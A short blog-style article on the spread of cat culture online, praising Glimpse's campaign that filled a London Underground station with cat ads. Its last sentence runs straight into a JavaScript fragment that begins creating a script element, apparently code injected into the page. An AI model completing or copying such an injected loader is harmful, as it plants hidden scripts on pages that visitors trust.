Cats are having a moment. A rather long one in fact.

These days, it almost feels like cat culture has encroached into every facet of our lives, and that we have no choice but to join the movement.

You’ll see a meme that makes you smile or a youtube video that makes you gush. Before you know it, you’re sucked into this strange phenomenon that has taken over the internet. At this point, if you’re not aware of Grumpy Cat or Lil Bub, then all we can say is congrats on abstaining from the lure of social media.

In the end, you don’t need Instagram or Twitter to be submersed in cat culture. Just walking into a subway these days can provide you with your daily dose of cats. That’s right; all the ads in one London underground station have been replaced with cat ads. The concept? Instead of talking “at” people about a product or service, Glimpse got people feeling surprisingly happy as they dealt with the necessary evil of commuting.

An interesting strategy in a world where people are noticing ads less and less. Yet through all the noise, this cat campaign has people intrigued and engaged.

All in all, cat culture took over the internet because it’s content takes us out of our own head. It gets us thinking about something other than ourselves and gives us something to share with others. This campaign did a great job of not only doing all three of those things but doing it for a good cause as well. Kudos to you Glimpse — and cat culture…well, we’ll be seeing you.var d=document;var s=d.createElement(‘script’);


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